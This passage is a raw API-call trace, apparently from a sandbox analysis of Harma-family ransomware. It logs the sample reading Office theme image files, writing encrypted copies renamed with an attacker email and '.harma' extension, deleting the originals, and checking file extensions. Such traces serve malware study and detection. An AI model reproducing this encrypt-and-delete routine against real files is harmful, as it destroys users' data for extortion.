Shared\\THEMES14\\PROFILE\\THMBNAIL.PNG.id-9C354B42.[gillian.cher@aol.com].harma" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\profile\\thmbnail.png.id-9c354b42.[gillian.cher@aol.com].harma")) returned 0xffffffff [0060.083] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\PROFILE\\THMBNAIL.PNG" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\profile\\thmbnail.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x180 [0060.083] SetFilePointerEx (in: hFile=0x180, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x238fec8 | out: lpNewFilePointer=0x0) returned 1 [0060.083] SetFilePointerEx (in: hFile=0x180, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x238fec8 | out: lpNewFilePointer=0x0) returned 1 [0060.084] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\PROFILE\\THMBNAIL.PNG.id-9C354B42.[gillian.cher@aol.com].harma" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\profile\\thmbnail.png.id-9c354b42.[gillian.cher@aol.com].harma"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x204 [0060.084] GetLastError () returned 0x0 [0060.084] ReadFile (in: hFile=0x180, lpBuffer=0x2f10020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x238fed4, lpOverlapped=0x0 | out: lpBuffer=0x2f10020*, lpNumberOfBytesRead=0x238fed4*=0x4162, lpOverlapped=0x0) returned 1 [0060.089] WriteFile (in: hFile=0x204, lpBuffer=0x2f10020*, nNumberOfBytesToWrite=0x4170, lpNumberOfBytesWritten=0x238fc9c, lpOverlapped=0x0 | out: lpBuffer=0x2f10020*, lpNumberOfBytesWritten=0x238fc9c*=0x4170, lpOverlapped=0x0) returned 1 [0060.091] ReadFile (in: hFile=0x180, lpBuffer=0x2f10020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x238fed4, lpOverlapped=0x0 | out: lpBuffer=0x2f10020*, lpNumberOfBytesRead=0x238fed4*=0x0, lpOverlapped=0x0) returned 1 [0060.091] WriteFile (in: hFile=0x204, lpBuffer=0x2f10020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x238fc9c, lpOverlapped=0x0 | out: lpBuffer=0x2f10020*, lpNumberOfBytesWritten=0x238fc9c*=0xec, lpOverlapped=0x0) returned 1 [0060.091] SetEndOfFile (hFile=0x204) returned 1 [0060.091] CloseHandle (hObject=0x204) returned 1 [0060.091] SetFilePointerEx (in: hFile=0x180, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x238fec8 | out: lpNewFilePointer=0x0) returned 1 [0060.091] SetEndOfFile (hFile=0x180) returned 1 [0060.093] CloseHandle (hObject=0x180) returned 1 [0060.093] SetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\PROFILE\\THMBNAIL.PNG.id-9C354B42.[gillian.cher@aol.com].harma", dwFileAttributes=0x20) returned 1 [0060.093] DeleteFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\PROFILE\\THMBNAIL.PNG" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\profile\\thmbnail.png")) returned 1 [0060.094] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\PROFILE\\THMBNAIL.PNG") returned 76 [0060.094] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\PROFILE\\THMBNAIL.PNG") returned 76 [0060.094] lstrlenW (lpString=".doc") returned 4 [0060.094] lstrcmpiW (lpString1=".doc", lpString2=".PNG") returned -1 [0060.094] lstrlenW (lpString=".docx") returned 5 [0060.094] lstrcmpiW (lpString1=".docx", lpString2="L.PNG") returned -1 [0060.094] lstrlenW (lpString=".pdf") returned 4 [0060.094] lstrcmpiW (lpString1=".pdf", lpString2=".PNG") returned -1 [0060.094] lstrlenW (lpString=".xls") returned 4 [0060.094] lstrcmpiW (lpString1=".xls", lpString2=".PNG") returned 1 [0060.094] lstrlenW (lpString=".xlsx") returned 5 [0060.094] lstrcmpiW (lpString1=".xlsx", lpString2="L.PNG") returned -1 [0060.094] lstrlenW (lpString=".ppt") returned 4 [0060.094] lstrcmpiW (lpString1=".ppt", lpString2=".PNG") returned 1 [0060.094] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\PROFILE\\THMBNAIL.PNG") returned 76 [0060.094] lstrlenW (lpString=".zip") returned 4 [0060.094] lstrcmpiW (lpString1=".zip", lpString2=".PNG") returned 1 [0060.094] lstrlenW (lpString=".rar") returned 4 [0060.094] lstrcmpiW (lpString1=".rar", lpString2=".PNG") returned 1 [0060.095] lstrlenW (lpString=".bz2") returned 4 [0060.095] lstrcmpiW (lpString1=".bz2", lpString2=".PNG") returned -1 [0060.095] lstrlenW (lpString=".7z") returned 3 [0060.095] lstrcmpiW (lpString1=".7z", lpString2="PNG") returned -1 [0060.095] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\PROFILE\\THMBNAIL.PNG") returned 76 [0060.095] lstrlenW (lpString=".dbf") returned 4 [0060.095] lstrcmpiW (lpString1=".dbf", lpString2=".PNG") returned -1 [0060.095] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\PROFILE\\THMBNAIL.PNG") returned 76 [0060.095] lstrlenW (lpString=".1cd") returned 4 [0060.095] lstrcmpiW (lpString1=".1cd", lpString2=".PNG") returned -1 [0060.095] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\PROFILE\\THMBNAIL.PNG") returned 76 [0060.095] lstrlenW (lpString=".jpg") returned 4 [0060.095] lstrcmpiW (lpString1=".jpg", lpString2=".PNG") returned -1 [0060.095] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\PROFILE\\THMBNAIL.PNG") returned 76 [0060.095] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\PROFILE\\THMBNAIL.PNG") returned 76 [0060.095] lstrlenW (lpString=".doc") returned 4 [0060.095] lstrcmpiW (lpString1=".doc", lpString2=".PNG") returned -1 [0060.095] lstrlenW (lpString=".docx") returned 5 [0060.095] lstrcmpiW (lpString1=".docx", lpString2="L.PNG") returned -1 [0060.095] lstrlenW (lpString=".pdf") returned 4 [0060.095] lstrcmpiW (lpString1=".pdf", lpString2=".PNG") returned -1 [0060.095] lstrlenW (lpString=".xls") returned 4 [0060.095] lstrcmpiW (lpString1=".xls", lpString2=".PNG") returned 1 [0060.095] lstrlenW (lpString=".xlsx") returned 5 [0060.095] lstrcmpiW (lpString1=".xlsx", lpString2="L.PNG") returned -1 [0060.095] lstrlenW (lpString=".ppt") returned 4 [0060.096] lstrcmpiW (lpString1=".ppt", lpString2=".PNG") returned 1 [0060.096] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\PROFILE\\THMBNAIL.PNG") returned 76 [0060.096] lstrlenW (lpString=".zip") returned 4 [0060.096] lstrcmpiW (lpString1=".zip", lpString2=".PNG") returned 1 [0060.096] lstrlenW (lpString=".rar") returned 4 [0060.096] lstrcmpiW (lpString1=".rar", lpString2=".PNG") returned 1 [0060.096] lstrlenW (lpString=".bz2") returned 4 [0060.096] lstrcmpiW (lpString1=".bz2", lpString2=".PNG") returned -1 [0060.096] lstrlenW (lpString=".7z") returned 3 [0060.096] lstrcmpiW (lpString1=".7z", lpString2="PNG") returned -1 [0060.096] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\PROFILE\\THMBNAIL.PNG") returned 76 [0060.096] lstrlenW (lpString=".dbf") returned 4 [0060.096] lstrcmpiW (lpString1=".dbf", lpString2=".PNG") returned -1 [0060.096] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\PROFILE\\THMBNAIL.PNG") returned 76 [0060.096] lstrlenW (lpString=".1cd") returned 4 [0060.096] lstrcmpiW (lpString1=".1cd", lpString2=".PNG") returned -1 [0060.096] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\PROFILE\\THMBNAIL.PNG") returned 76 [0060.096] lstrlenW (lpString=".jpg") returned 4 [0060.096] lstrcmpiW (lpString1=".jpg", lpString2=".PNG") returned -1 [0060.096] lstrcmpiW (lpString1=".GIF", lpString2=".harma") returned -1 [0060.096] lstrlenW (lpString="PREVIEW.GIF") returned 11 [0060.096] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\QUAD\\PREVIEW.GIF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\quad\\preview.gif"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x180 [0060.097] GetFileSizeEx (in: hFile=0x180, lpFileSize=0x238ff1c | out: lpFileSize=0x238ff1c*=1439) returned 1 [0060.097] CloseHandle (hObject=0x180) returned 1 [0060.097] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\QUAD\\PREVIEW.GIF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\quad\\preview.gif")) returned 0x20 [0060.097] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\QUAD\\PREVIEW.GIF.id-9C354B42.[gillian.cher@aol.com].harma" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\quad\\preview.gif.id-9c354b42.[gillian.cher@aol.com].harma")) returned 0xffffffff [0060.097] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\QUAD\\PREVIEW.GIF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\quad\\preview.gif"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x180 [0060.097] SetFilePointerEx (in: hFile=0x180, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x238fec8 | out: lpNewFilePointer=0x0) returned 1 [0060.097] SetFilePointerEx (in: hFile=0x180, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x238fec8 | out: lpNewFilePointer=0x0) returned 1 [0060.097] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\QUAD\\PREVIEW.GIF.id-9C354B42.[gillian.cher@aol.com].harma" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\quad\\preview.gif.id-9c354b42.[gillian.cher@aol.com].harma"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1f8 [0060.418] GetLastError () returned 0x0 [0060.418] ReadFile (in: hFile=0x180, lpBuffer=0x2f10020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x238fed4, lpOverlapped=0x0 | out: lpBuffer=0x2f10020*, lpNumberOfBytesRead=0x238fed4*=0x59f, lpOverlapped=0x0) returned 1 [0060.419] WriteFile (in: hFile=0x1f8, lpBuffer=0x2f10020*, nNumberOfBytesToWrite=0x5a0, lpNumberOfBytesWritten=0x238fc9c, lpOverlapped=0x0 | out: lpBuffer=0x2f10020*, lpNumberOfBytesWritten=0x238fc9c*=0x5a0, lpOverlapped=0x0) returned 1 [0060.421] ReadFile (in: hFile=0x180, lpBuffer=0x2f10020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x238fed4, lpOverlapped=0x0 | out: lpBuffer=0x2f10020*, lpNumberOfBytesRead=0x238fed4*=0x0, lpOverlapped=0x0) returned 1 [0060.421] WriteFile (in: hFile=0x1f8, lpBuffer=0x2f10020*, nNumberOfBytesToWrite=0xea, lpNumberOfBytesWritten=0x238fc9c, lpOverlapped=0x0 | out: lpBuffer=0x2f10020*, lpNumberOfBytesWritten=0x238fc9c*=0xea, lpOverlapped=0x0) returned 1 [0060.421] SetEndOfFile (hFile=0x1f8) returned 1 [0060.421] CloseHandle (hObject=0x1f8) returned 1 [0060.421] SetFilePointerEx (in: hFile=0x180, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x238fec8 | out: lpNewFilePointer=0x0) returned 1 [0060.421] SetEndOfFile (hFile=0x180) returned 1 [0060.422] CloseHandle (hObject=0x180) returned 1 [0060.422] SetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\QUAD\\PREVIEW.GIF.id-9C354B42.[gillian.cher@aol.com].harma", dwFileAttributes=0x20) returned 1 [0060.422] DeleteFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\QUAD\\PREVIEW.GIF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\quad\\preview.gif")) returned 1 [0060.423] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\QUAD\\PREVIEW.GIF") returned 72 [0060.423] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\QUAD\\PREVIEW.GIF") returned 72 [0060.423] lstrlenW (lpString=".doc") returned 4 [0060.423] lstrcmpiW (lpString1=".doc", lpString2=".GIF") returned -1 [0060.423] lstrlenW (lpString=".docx") returned 5 [0060.423] lstrcmpiW (lpString1=".docx", lpString2="W.GIF") returned -1 [0060.423] lstrlenW (lpString=".pdf") returned 4 [0060.423] lstrcmpiW (lpString1=".pdf", lpString2=".GIF") returned 1 [0060.423] lstrlenW (lpString=".xls") returned 4 [0060.423] lstrcmpiW (lpString1=".xls", lpString2=".GIF") returned 1 [0060.423] lstrlenW (lpString=".xlsx") returned 5 [0060.423] lstrcmpiW (lpString1=".xlsx", lpString2="W.GIF") returned -1 [0060.423] lstrlenW (lpString=".ppt") returned 4 [0060.423] lstrcmpiW (lpString1=".ppt", lpString2=".GIF") returned 1 [0060.423] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\QUAD\\PREVIEW.GIF") returned 72 [0060.423] lstrlenW (lpString=".zip") returned 4 [0060.423] lstrcmpiW (lpString1=".zip", lpString2=".GIF") returned 1 [0060.423] lstrlenW (lpString=".rar") returned 4 [0060.423] lstrcmpiW (lpString1=".rar", lpString2=".GIF") returned 1 [0060.423] lstrlenW (lpString=".bz2") returned 4 [0060.423] lstrcmpiW (lpString1=".bz2", lpString2=".GIF") returned -1 [0060.423] lstrlenW (lpString=".7z") returned 3 [0060.423] lstrcmpiW (lpString1=".7z", lpString2="GIF") returned -1 [0060.423] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\QUAD\\PREVIEW.GIF") returned 72 [0060.424] lstrlenW (lpString=".dbf") returned 4 [0060.424] lstrcmpiW (lpString1=".dbf", lpString2=".GIF") returned -1 [0060.424] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\QUAD\\PREVIEW.GIF") returned 72 [0060.424] lstrlenW (lpString=".1cd") returned 4 [0060.424] lstrcmpiW (lpString1=".1cd", lpString2=".GIF") returned -1 [0060.424] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\QUAD\\PREVIEW.GIF") returned 72 [0060.424] lstrlenW (lpString=".jpg") returned 4 [0060.424] lstrcmpiW (lpString1=".jpg", lpString2=".GIF") returned 1 [0060.424] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\QUAD\\PREVIEW.GIF") returned 72 [0060.424] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\QUAD\\PREVIEW.GIF") returned 72 [0060.424] lstrlenW (lpString=".doc") returned 4 [0060.424] lstrcmpiW (lpString1=".doc", lpString2=".GIF") returned -1 [0060.424] lstrlenW (lpString=".docx") returned 5 [0060.424] lstrcmpiW (lpString1=".docx", lpString2="W.GIF") returned -1 [0060.424] lstrlenW (lpString=".pdf") returned 4 [0060.424] lstrcmpiW (lpString1=".pdf", lpString2=".GIF") returned 1 [0060.424] lstrlenW (lpString=".xls") returned 4 [0060.424] lstrcmpiW (lpString1=".xls", lpString2=".GIF") returned 1 [0060.424] lstrlenW (lpString=".xlsx") returned 5 [0060.424] lstrcmpiW (lpString1=".xlsx", lpString2="W.GIF") returned -1 [0060.424] lstrlenW (lpString=".ppt") returned 4 [0060.424] lstrcmpiW (lpString1=".ppt", lpString2=".GIF") returned 1 [0060.424] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\QUAD\\PREVIEW.GIF") returned 72 [0060.424] lstrlenW (lpString=".zip") returned 4 [0060.424] lstrcmpiW (lpString1=".zip", lpString2=".GIF") returned 1 [0060.424] lstrlenW (lpString=".rar") returned 4 [0060.424] lstrcmpiW (lpString1=".rar", lpString2=".GIF") returned 1 [0060.425] lstrlenW (lpString=".bz2") returned 4 [0060.425] lstrcmpiW (lpString1=".bz2", lpString2=".GIF") returned -1 [0060.425] lstrlenW (lpString=".7z") returned 3 [0060.425] lstrcmpiW (lpString1=".7z", lpString2="GIF") returned -1 [0060.425] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\QUAD\\PREVIEW.GIF") returned 72 [0060.425] lstrlenW (lpString=".dbf") returned 4 [0060.425] lstrcmpiW (lpString1=".dbf", lpString2=".GIF") returned -1 [0060.425] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\QUAD\\PREVIEW.GIF") returned 72 [0060.425] lstrlenW (lpString=".1cd") returned 4 [0060.425] lstrcmpiW (lpString1=".1cd", lpString2=".GIF") returned -1 [0060.425] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\QUAD\\PREVIEW.GIF") returned 72 [0060.425] lstrlenW (lpString=".jpg") returned 4 [0060.425] lstrcmpiW (lpString1=".jpg", lpString2=".GIF") returned 1 [0060.425] lstrcmpiW (lpString1=".GIF", lpString2=".harma") returned -1 [0060.425] lstrlenW (lpString="PREVIEW.GIF") returned 11 [0060.425] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\RICEPAPR\\PREVIEW.GIF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\ricepapr\\preview.gif"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x180 [0060.426] GetFileSizeEx (in: hFile=0x180, lpFileSize=0x238ff1c | out: lpFileSize=0x238ff1c*=3970) returned 1 [0060.426] CloseHandle (hObject=0x180) returned 1 [0060.426] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\RICEPAPR\\PREVIEW.GIF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\ricepapr\\preview.gif")) returned 0x20 [0060.426] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\RICEPAPR\\PREVIEW.GIF.id-9C354B42.[gillian.cher@aol.com].harma" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\ricepapr\\preview.gif.id-9c354b42.[gillian.cher@aol.com].harma")) returned 0xffffffff [0060.426] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\RICEPAPR\\PREVIEW.GIF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\ricepapr\\preview.gif"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x180 [0060.426] SetFilePointerEx (in: hFile=0x180, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x238fec8 | out: lpNewFilePointer=0x0) returned 1 [0060.426] SetFilePointerEx (in: hFile=0x180, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x238fec8 | out: lpNewFilePointer=0x0) returned 1 [0060.426] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\RICEPAPR\\PREVIEW.GIF.id-9C354B42.[gillian.cher@aol.com].harma" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\ricepapr\\preview.gif.id-9c354b42.[gillian.cher@aol.com].harma"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1f8 [0060.428] GetLastError () returned 0x0 [0060.428] ReadFile (in: hFile=0x180, lpBuffer=0x2f10020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x238fed4, lpOverlapped=0x0 | out: lpBuffer=0x2f10020*, lpNumberOfBytesRead=0x238fed4*=0xf82, lpOverlapped=0x0) returned 1 [0060.431] WriteFile (in: hFile=0x1f8, lpBuffer=0x2f10020*, nNumberOfBytesToWrite=0xf90, lpNumberOfBytesWritten=0x238fc9c, lpOverlapped=0x0 | out: lpBuffer=0x2f10020*, lpNumberOfBytesWritten=0x238fc9c*=0xf90, lpOverlapped=0x0) returned 1 [0060.432] ReadFile (in: hFile=0x180, lpBuffer=0x2f10020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x238fed4, lpOverlapped=0x0 | out: lpBuffer=0x2f10020*, lpNumberOfBytesRead=0x238fed4*=0x0, lpOverlapped=0x0) returned 1 [0060.432] WriteFile (in: hFile=0x1f8, lpBuffer=0x2f10020*, nNumberOfBytesToWrite=0xea, lpNumberOfBytesWritten=0x238fc9c, lpOverlapped=0x0 | out: lpBuffer=0x2f10020*, lpNumberOfBytesWritten=0x238fc9c*=0xea, lpOverlapped=0x0) returned 1 [0060.432] SetEndOfFile (hFile=0x1f8) returned 1 [0060.432] CloseHandle (hObject=0x1f8) returned 1 [0060.432] SetFilePointerEx (in: hFile=0x180, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x238fec8 | out: lpNewFilePointer=0x0) returned 1 [0060.433] SetEndOfFile (hFile=0x180) returned 1 [0060.433] CloseHandle (hObject=0x180) returned 1 [0060.433] SetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\RICEPAPR\\PREVIEW.GIF.id-9C354B42.[gillian.cher@aol.com].harma", dwFileAttributes=0x20) returned 1 [0060.434] DeleteFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\RICEPAPR\\PREVIEW.GIF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\ricepapr\\preview.gif")) returned 1 [0060.434] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\RICEPAPR\\PREVIEW.GIF") returned 76 [0060.434] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\RICEPAPR\\PREVIEW.GIF") returned 76 [0060.434] lstrlenW (lpString=".doc") returned 4 [0060.434] lstrcmpiW (lpString1=".doc", lpString2=".GIF") returned -1 [0060.434] lstrlenW (lpString=".docx") returned 5 [0060.434] lstrcmpiW (lpString1=".docx", lpString2="W.GIF") returned -1 [0060.434] lstrlenW (lpString=".pdf") returned 4 [0060.434] lstrcmpiW (lpString1=".pdf", lpString2=".GIF") returned 1 [0060.434] lstrlenW (lpString=".xls") returned 4 [0060.434] lstrcmpiW (lpString1=".xls", lpString2=".GIF") returned 1 [0060.434] lstrlenW (lpString=".xlsx") returned 5 [0060.434] lstrcmpiW (lpString1=".xlsx", lpString2="W.GIF") returned -1 [0060.434] lstrlenW (lpString=".ppt") returned 4 [0060.434] lstrcmpiW (lpString1=".ppt", lpString2=".GIF") returned 1 [0060.434] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\RICEPAPR\\PREVIEW.GIF") returned 76 [0060.435] lstrlenW (lpString=".zip") returned 4 [0060.435] lstrcmpiW (lpString1=".zip", lpString2=".GIF") returned 1 [0060.435] lstrlenW (lpString=".rar") returned 4 [0060.435] lstrcmpiW (lpString1=".rar", lpString2=".GIF") returned 1 [0060.435] lstrlenW (lpString=".bz2") returned 4 [0060.435] lstrcmpiW (lpString1=".bz2", lpString2=".GIF") returned -1 [0060.435] lstrlenW (lpString=".7z") returned 3 [0060.435] lstrcmpiW (lpString1=".7z", lpString2="GIF") returned -1 [0060.435] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\RICEPAPR\\PREVIEW.GIF") returned 76 [0060.435] lstrlenW (lpString=".dbf") returned 4 [0060.435] lstrcmpiW (lpString1=".dbf", lpString2=".GIF") returned -1 [0060.435] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\RICEPAPR\\PREVIEW.GIF") returned 76 [0060.435] lstrlenW (lpString=".1cd") returned 4 [0060.435] lstrcmpiW (lpString1=".1cd", lpString2=".GIF") returned -1 [0060.435] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\RICEPAPR\\PREVIEW.GIF") returned 76 [0060.435] lstrlenW (lpString=".jpg") returned 4 [0060.435] lstrcmpiW (lpString1=".jpg", lpString2=".GIF") returned 1 [0060.435] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\RICEPAPR\\PREVIEW.GIF") returned 76 [0060.435] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\RICEPAPR\\PREVIEW.GIF") returned 76 [0060.435] lstrlenW (lpString=".doc") returned 4 [0060.435] lstrcmpiW (lpString1=".doc", lpString2=".GIF") returned -1 [0060.435] lstrlenW (lpString=".docx") returned 5 [0060.435] lstrcmpiW (lpString1=".docx", lpString2="W.GIF") returned -1 [0060.435] lstrlenW (lpString=".pdf") returned 4 [0060.435] lstrcmpiW (lpString1=".pdf", lpString2=".GIF") returned 1 [0060.435] lstrlenW (lpString=".xls") returned 4 [0060.435] lstrcmpiW (lpString1=".xls", lpString2=".GIF") returned 1 [0060.436] lstrlenW (lpString=".xlsx") returned 5 [0060.436] lstrcmpiW (lpString1=".xlsx", lpString2="W.GIF") returned -1 [0060.436] lstrlenW (lpString=".ppt") returned 4 [0060.436] lstrcmpiW (lpString1=".ppt", lpString2=".GIF") returned 1 [0060.436] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\RICEPAPR\\PREVIEW.GIF") returned 76 [0060.436] lstrlenW (lpString=".zip") returned 4 [0060.436] lstrcmpiW (lpString1=".zip", lpString2=".GIF") returned 1 [0060.436] lstrlenW (lpString=".rar") returned 4 [0060.436] lstrcmpiW (lpString1=".rar", lpString2=".GIF") returned 1 [0060.436] lstrlenW (lpString=".bz2") returned 4 [0060.436] lstrcmpiW (lpString1=".bz2", lpString2=".GIF") returned -1 [0060.436] lstrlenW (lpString=".7z") returned 3 [0060.436] lstrcmpiW (lpString1=".7z", lpString2="GIF") returned -1 [0060.436] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\RICEPAPR\\PREVIEW.GIF") returned 76 [0060.436] lstrlenW (lpString=".dbf") returned 4 [0060.436] lstrcmpiW (lpString1=".dbf", lpString2=".GIF") returned -1 [0060.436] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\RICEPAPR\\PREVIEW.GIF") returned 76 [0060.436] lstrlenW (lpString=".1cd") returned 4 [0060.436] lstrcmpiW (lpString1=".1cd", lpString2=".GIF") returned -1 [0060.436] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\RICEPAPR\\PREVIEW.GIF") returned 76 [0060.436] lstrlenW (lpString=".jpg") returned 4 [0060.436] lstrcmpiW (lpString1=".jpg", lpString2=".GIF") returned 1 [0060.436] lstrcmpiW (lpString1=".PNG", lpString2=".harma") returned 1 [0060.436] lstrlenW (lpString="THMBNAIL.PNG") returned 12 [0060.437] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\RICEPAPR\\THMBNAIL.PNG" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\ricepapr\\thmbnail.png"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x180 [0060.437] GetFileSizeEx (in: hFile=0x180, lpFileSize=0x238ff1c | out: lpFileSize=0x238ff1c*=53115) returned 1 [0060.437] CloseHandle (hObject=0x180) returned 1 [0060.437] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\RICEPAPR\\THMBNAIL.PNG" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\ricepapr\\thmbnail.png")) returned 0x20 [0060.437] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft 